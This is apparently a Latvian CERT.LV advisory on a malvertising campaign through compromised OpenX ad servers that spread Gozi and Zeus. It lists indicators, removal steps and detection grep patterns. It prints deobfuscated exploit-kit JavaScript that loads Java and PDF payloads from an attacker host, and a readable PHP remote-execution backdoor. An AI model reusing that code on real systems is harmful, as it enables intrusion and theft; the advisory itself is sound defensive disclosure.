Vairākās populārās tīmekļa vietnēs notikusi ļaunatūras izplatīšana
Veicot incidentu analīzi, CERT.LV atklājis, ka vairākās populārās tīmekļa vietnēs Latvijā notikusi ļaunatūras izplatīšana caur OpenX baneru apmaiņas programmu.
Inficēto tīmekļa vietņu apmeklētājiem bijis risks inficēt savus datorus vismaz no 2013.gada augusta. Inficēšanai tika izmantotas tādas baneru apmaiņas sistēmas kā OpenX un Revive AdServer, kas atjaunināts uz ievainojamas OpenX bāzes.
OpenX baneru apmaiņas programmatūru Latvijā izmanto tādas plaši pazīstamas un populāras vietnes kā:
- www.e-klase.lv
- www.cv.lv
- www.boot.lv
- www.diena.lv
- www.kasjauns.lv
- www.lursoft.lv
- www.liepajniekiem.lv
- www.tiesraides.lv
- www.ventasbalss.lv
un citas...
Lai gan vietnes, caur kurām tika izplatīts vīruss, ir novērsušas drošības problēmas, inficētu iekārtu darbība Latvijā joprojām novērojama no aptuveni 300 IP adresēm.
Infekcija lietotāja datorā varēja iekļūt caur inficēto baneri. Pēc tam, lietotājam nezinot, dators pats apmeklē inficētu failu saturošas vietnes un lejuplādē lietotāja datorā inficētus failus.
Infekcijas riskam tika pakļauti lietotāji, kuri nebija atjaunojuši Adobe Reader un JAVA lietotnes.
Uzbrukumam tika pakļautas < 7.17 un 7.21 JAVA spraudņa versijas, kā arī 8.x un 9.0 – 9.3 ADOBE READER lietotnes versijas.
CERT.LV aicina lietotājus, kuri to vēl nav izdarījuši, atjaunināt JAVA un ADOBE READER lietotnes.
Uzbrucēji, kas izplatīja vīrusu, ir darbojušies uzmanīgi, cenšoties palikt nepamanīti pēc iespējas ilgāk un tikai periodiski tika veiktas kaitīgā koda izplatīšanas kampaņas. Izplatīti ir vairāki vīrusu veidi – “Policijas vīrus”, “Zeus”, “Gozi”, iespējams arī citi. Sadarbībā ar Latvijā strādājošām bankām ir izdevies apzināt un novērst šīs infekcijas mērķtiecīgo darbību, kas vērsta uz nelikumīgu finansiāla labuma gūšanu izmantojot nozagtos klientu datus.
Uzbrukumi tīmekļa vietņu apmeklētājiem pārsvarā tika novēroti laika posmā no pl. 15.00 - 20.00
Lai pārbaudītu, vai CERT.LV ir identificējis Jūsu IP adresi kā vienu no 300 minētajām, aicinām apmeklēt portālu www.esidross.lv, kurā jūsu IP adrese tiks pārbaudita. Ja tā būs inficēto sarakstā, ieraudzisiet paziņojumu sarkanā rāmī.
Kā atbrīvot datoru no inficēšanas
CERT.LV ir izveidojis programmatūru, ar kuras palīdzību iespējams identificēt un likvidēt konkrētā incidenta infekcijas pazīmes. Programmatūra lejupielādējama šeit: antigozi.zip
Kontrolsumma:
MD5: 307942af3c074e0d6b874d632ccdb149 antigozi.exe
CERT.LV uzsver, ka visas infekcijas modifikācijas nav zināmas, tāpēc ieteicams pārbaudīt datoru ar pilnvērtīgu un atjauninātu pretvīrusu programmatūras ražotāja glābšanas disku (Rescue Disk). Vairāk informācijas par glābšanas disku (Rescue Disk) izmantošanu meklējiet portālā www.esidross.lv.
Lai novērstu turpmāku datu izkrāpšanas risku, pēc datora izārstēšanas jānomaina visas paroles, kas lietotas uz inficētā datora un tīmekļa resursos.
Tehniskā informācija:
Tīmekļa pārlūka inficēšanas shēma
Infekcijas identificēšanas iespējas un risku mazināšanas rekomendācijas lietotājiem
Lai identificētu inficētās darbstacijas, meklēt Proxy/Firewall žurnālfailos kaitīgā koda lejupielādes resursu pieprasījumus.
Ļaunatūras URI:
hxxp://adapt.wallpapernmore.com
hxxp://lane.pncradio.com
hxxp://govnodav.net
hxxp://gogicrypt.net
hxxp://auctrio.azorganicschool.com
hxxp://house.azorganicschool.com
hxxp://jerk.freelocksmithleads.com
hxxp://kilometre.freelocksmithleads.com
hxxp://ladder.freelocksmithleads.com
hxxp://session.azorganicschool.com
hxxp://sucure-ssls.net
hxxp://allow.breathevolleyball.com
hxxp://allude.breathevolleyball.com
hxxp://allusion.breathevolleyball.com
hxxp://along.ironwood.me
hxxp://aloud.ironwood.me
hxxp://alphabet.ironwood.me
hxxp://already.brankokordic.com
hxxp://altar.brankokordic.com
hxxp://alter.brankokordic.com
hxxp://altogether.roottables.com
hxxp://recompense.centraltexasinsects.com
hxxp://reconcile.centraltexasinsects.com
hxxp://reconstruct.dfwpests.com
hxxp://record.dfwpests.com
hxxp://recover.dfwpests.com
hxxp://148.251.27.91
hxxp://splinter.tacticaltim.us
hxxp://forward.surfandturfonline.net
Līdz šim identificētās kontrolsummas:
Vīrusa izpildāmā faila atrašanās vieta: C:\WINDOWS\system32\compstat.exe
MD5: 1c27027fe2b24097eb9f7f7b9d59d09e
MD5: 36bca1fb8f9d83546eac147da785cf63
MD5: 6df75575683098bf143aba1e3a1ab00a
MD5: 6e11cf873443d9f66869b39b1cb4b764
MD5: 98bc225b361210b4166713c901272c9c
MD5: 81c60f440e3223302eaaf347ed2582bc
Sekmīgas upura iekārtas kompromitēšanas gadījumā tiek izpildīts .exe fails.
Izpildāmais fails un tā funkcionalitāte vairākos gadījumos ir atšķīrusies, taču ir pamatotas aizdomas, ka pārsvarā tiek izplatīts internetbanku trojāns „Gozi”.
Aktīva trojāna darbība ir vērojama, kad tiek atvērts interneta pārlūks (Internet Explorer/Firefox/Google Chrome). CERT.LV ir veicis testus, izmantojot IE 7.0/7.0.5, ar šādiem resursiem*:
https://online.citadele.lv
https://ib.swedbank.lv
https://ibanka.seb.lv
https://secure.draugiem.lv
*Sniegtie piemēri paredzēti uzskatāmai demonstrācijai un tiem nav sakara ar minēto tīmekļa vietņu drošību.
Datu eksfiltrācijas piemērs:
Trojāns pārtver interneta pārlūka HTTP pieprasījumu, pirms tas tiek šifrēts. Piemērā var redzēt, ka inficētās iekārtas lietotājs ir veicis pieslēgumu draugiem.lv, izmantojot "drošu" savienojumu ar TLS (https://), bet nozagtie dati tiek aizsūtīti uz kontrolcentru atklātā tekstā. Iespējama arī datu modifikācija reālā laika režīmā, izmantojot klienta sesijas datus. MITB (Man In The Browser)
Infekcijas pazīmju meklēšana un vīrusa deaktivēšana darbstacijā
Lai automatizētu zemāk aprakstītās procedūras, piedāvājam izmantot programmu antigozi.zip.
Uz aizdomās turamās darbstacijas jāveic sekojošas darbības:
Windows XP
1) Start → Run
2) regedit
3) edit → find
4) jāmeklē “compstat”; un jādzēš visus ierakstus, kas satur šo atslēgas vārdu. Nākamo meklēšanas operāciju var veikt ar taustiņu F3.
5) jāmeklē ieraksts "lemanov" un jādzēš, kā arī jādzēš aiz šī ieraksta sekojošā norāde uz .bat failu
6) jādzēš fails C:\WINDOWS\system32\compstat.exe (MD5:81c60f440e3223302eaaf347ed2582bc)
Faila nosaukums var atšķirties, taču kontrolsumma nemainās.
Windows 7
- Start → Run
- regedit
- edit → find
- jāatrod “lsasntui”; jāizdzēš visi ieraksti, kas satur šo atslēgas vārdu.
- jāatrod “lemanov” un jāizdzēš atrastais ieraksts, kā arī aiz tā sekojošais ieraksts, kas satur norādi uz .bat failu
- jāizdzēš fails C:\Users\user\AppData\Local\Temp\lsasntui.exe MD5:81c60f440e3223302eaaf347ed2582bc
Arī pēc šo darbību veikšanas kompromitēta iekārta nav uzskatāma par drošu, līdz tās pilnīgai iztīrīšanai no ļaunatūras.
Izpildāmā faila (Trojan) uzvedības shēma
OPENX banera analīze, apmeklējot vienu no ļaunatūras izplatīšanā iesaistītajām vietnēm
Pieprasījums:
Atbildes fragments no vietnes:
Kaitīgais iframe: http://adapt.WALLPAPERNMORE.COM/scripts/js/core.js?ver=4.97.9424
Pārvirza lietotāju uz tīmekļa vietni http://lane.pncradio.com, kura uztur kaitīgu izpildāmo kodu, kas paredzēts upura datora inficēšanai.
Tālāk notiek lietotāja pārvirzīšana uz "lane.pncradio.com/..."
"lane.pncradio.com" atgriež HTML lapu ar obfuscētu JavaScript kodu.
pncradio-inside.js JavaScripts pārbauda JAVA un ADOBE READER spraudņus (plugins) un lejupielādē attiecīgi JAR vai PDF failus, kas paredzēti vīrusa komponenšu lejupielādei un izpildei uz upura datora:
Deobfuscētie javascript fragmenti:
...
PluginDetect.INIT();
j_version = PluginDetect.getVersion('Java');
p_version = PluginDetect.getVersion('AdobeReader');
/*
Latest versions..
j_version = 1,7,0,51
p_version = 11,0,0,0
*/
...
function asfwe(aa)
{
if (aa == 1) return ffbgrnth5we('<applet code="A_dsgweed.class" archive="http://lane.pncradio.com/122***579/3/1395***400.jar">
<param name="ldcrlio" value="AhhjyHHbE7p8j7uiEYco8uoaH5HLHxLDr4rLGllHxww4xDr3DHw">
<param name="t" value="0">
<param name="tt" value="0">
</applet>');
Deobfucēts kods:
/*
<jnlp spec="1.0" xmlns:jfx="http://google.com" href="applet_security_bypass.jnlp">
<information>
<title>Y asf II</title>
<vendor>fdfegrwe</vendor>
</information>
<resources>
<j2se version="1.7+" href=""/>
<jar href="http://lane.pncradio.com/122***579/3/13956***00.jar" main="true" />
</resources>
<applet-desc name="AFuck Off" height="1" width="1" main-class="A_dsgweed">
<param value="true" name="__applet_ssv_validated" />
<param name="ldcrlio" value="AhhjyHHbE7p8j7uiEYco8uoaH5HLHxLDr4rLGllHxww4xDr3DHw">
<param name="t" value="0">
<param name="tt" value="0">
</applet-desc>
</jnlp>
*/
Deobfucēts kods:
/*
<jnlp spec="1.0" xmlns:jfx="http://google.com" href="">
<information>
<title>dfwedafd</title>
<vendor>efvrwefq</vendor>
</information>
<resources>
<j2se version="1.7+" href="" />
<jar href="http://lane.pncradio.com/122***579/3/139***400.jar" main="true" />
</resources>
<jfx:javafx-desc main-class="Radva" preloader-class="A_dsgweed" name="App"/>
<applet-desc name="Asdf" main-class="Vasda" width="3" height="3">
</applet-desc></jnlp>
*/
}
java_enable = 0;
java_run = 0;
if (j_version[0] > 0 && j_version[1] < 7)
{
java_enable = 1;
java_run = 1;
}
if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] <= 17)
{
java_enable = 1;
java_run = 2;
}
if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] == 21)
{
java_enable = 1;
java_run = 3;
}
if (java_run > 0) asfwe(java_run);
...
...
...
if (java_enable == 1)
{
setTimeout('fg("http://lane.pncradio.com/1226***79/3/1395***400.htm","68","79")', 10000);
}
else
{
fg("http://lane.pncradio.com/1226***79/3/1395***400.htm", "100", "73");
}
if ((p_version[0] == 8) || (p_version[0] == 9 && p_version[1] <= 3))
{
if (java_enable == 1)
{
setTimeout('fg("http://lane.pncradio.com/1226***79/3/1395***400.pdf","67","59")', 7000);
}
else
{
fg("http://lane.pncradio.com/1226***79/3/1395***400.pdf", "63", "61");
}
}
Konkrētajā gadījumā, JAVA versija upura datorā atbilst vienai no uzbrukumā sagatavotām un tika lejupielādēts JAR izpildāmais fails ar pieprasījumu:
Java apletiem izpildoties, tiek lejupielādēti divi izpildāmie exe faili "2.exe". Galvenais trojāna fails (MD5:81c60f440e3223302eaaf347ed2582bc) pēc izpildes tiek iekopēts C:\WINDOWS\system32\compstat.exe un oriģinālais fails no lietotāja vides tiek dzēsts.
Pēc java lietotnes izpildes tiek atvērta tīmekļa vietne “http://lane.pncradio.com/1226***9/3/1395***400.htm”, kas arī satur obfuscētu JavaScript kodu.
Dekodēto kaitīgā JavaScript versiju atpazīst vairāki antivīrusu risinājumi, taču uzbrukumu kampaņu brīžos lielākā daļa antivīrusu risinājumu ļaunatūru neatpazina.
Ļaunatūras kontrolcentrs neatrodas uzbrucēja kontrolē kopš 28.marta plkst. 18.00.
Rekomendācijas OPENX serveru turētājiem
Ievainojamas OPENX baneru apmaiņas servera versijas:
- < 2.8.10
- Revive Ad server
(nav apstiprināts) - iespējams, citas OPENX versijas...
Jāveic OPENX servera pārbaude un atjaunināšana.
Backdoor apraksts
Identificētie backdoor ceļi:
f6518fd4697c0f69238bfef2feaa3bce market-settings.php
f6518fd4697c0f69238bfef2feaa3bce ExportMarketStatistics.php
b361b2ddda51c33a632a77c92f2c5b2b oxCache.php
Pats backdoor kods ir PHP shell dažādās izpildījuma versijās un sapakots, lai kods nebūtu lasāms. Identificētās backdoor versijas: PHP “P.A.S” shell v3.0.5.
Oriģinālais backdoor fails ir "market-settings.php" (MD5:f6518fd4697c0f69238bfef2feaa3bce)
Rediģēta un cilvēkam lasāmākā formā pārveidota backdoor versija:
<?php $____='@.n..h. .q....\\ ... ... ... ."...F...HB6.X'; $___ = isset($_POST['___']) ? $_POST['___'] : (isset($_COOKIE['___']) ? $_COOKIE['___'] : NULL); if ($___ !== NULL) { $___ = md5($___).substr( md5(strrev($___)), 0, strlen($___) ); for ($_____ = 0; $_____ < 15090; $_____++) { $____[$_____] = chr( (ord($____[$_____]) - ord($___[$_____])) % 256 ); $___ .= $____[$_____]; } if ($____ = @gzinflate($____)) { if (isset($_POST['___'])) @setcookie('___', $_POST['___']); $_____ = create_function('', $____); unset($____, $___); $_____(); } } ?> <form action="" method="post"> <input type="text" name="___" value=""/> <input type="submit" value=">"/> </form> |
...sarkanā krāsā iekrāsotās koda daļas ir šifrēta backdoor koda fragments. Ja pieslēdzoties tiek norādīta pareizā parole, algoritms dešifrē PHP kodu no mainīgā “$____” un PHP remote shell kods tiek izpildīts funkcijā “$_____();” .
Backdoora faila “market-settings.php” datuma atribūti tiek mainīti, lai slēptu pēdas.
PHP shell P.A.S v.3.0.5
Backdoor identifikācija uz serveriem
Meklēšanas piemēri tīmekļa servera www-root direktoriju kokā:
grep -lr 148.251.27.91
grep -lr '$\_[[:alpha:]]_'
grep -lr '$\__'
egrep -lri “replace.*iframe|iframe.*replace”
find -name “market-settings.php”
Uz kompromitēta servera OpenX cache faili tiek “saindēti”, izmantojot uzbrucēja sagatavotu skriptu MD5:b361b2ddda51c33a632a77c92f2c5b2b oxCache.php:
Katrā OpenX cache failā tiek ievietota saite uz kaitīgu iframe, kas pārvirza tīmekļa vietnes apmeklētāju uz uzbrucēja sagatavotu resursu.
Aizdomīgu pazimju meklēšana
Meklēt pieprasijumus uz:
- market-settings.php
- ExportMarketStatistics.php
- oxCache.php
- flowplayer.controls-3.1.1
- …
un citas pazīmes, ja tādas identificētas izpildot augstāk minētos soļus.
IP adrešu saraksts, kuras lietojis uzbrucējs:
- 142.177.210.49
- 173.183.72.35
- 174.91.117.112
- 178.33.62.56
- 195.110.8.194
- 198.84.145.207
- 216.226.41.86
- 69.55.253.30
- 70.51.106.165
- 82.165.192.12
- 94.102.208.74
- 96.48.124.194
- 198.27.80.81
- 37.218.244.7
- 178.162.193.213
- 77.247.181.164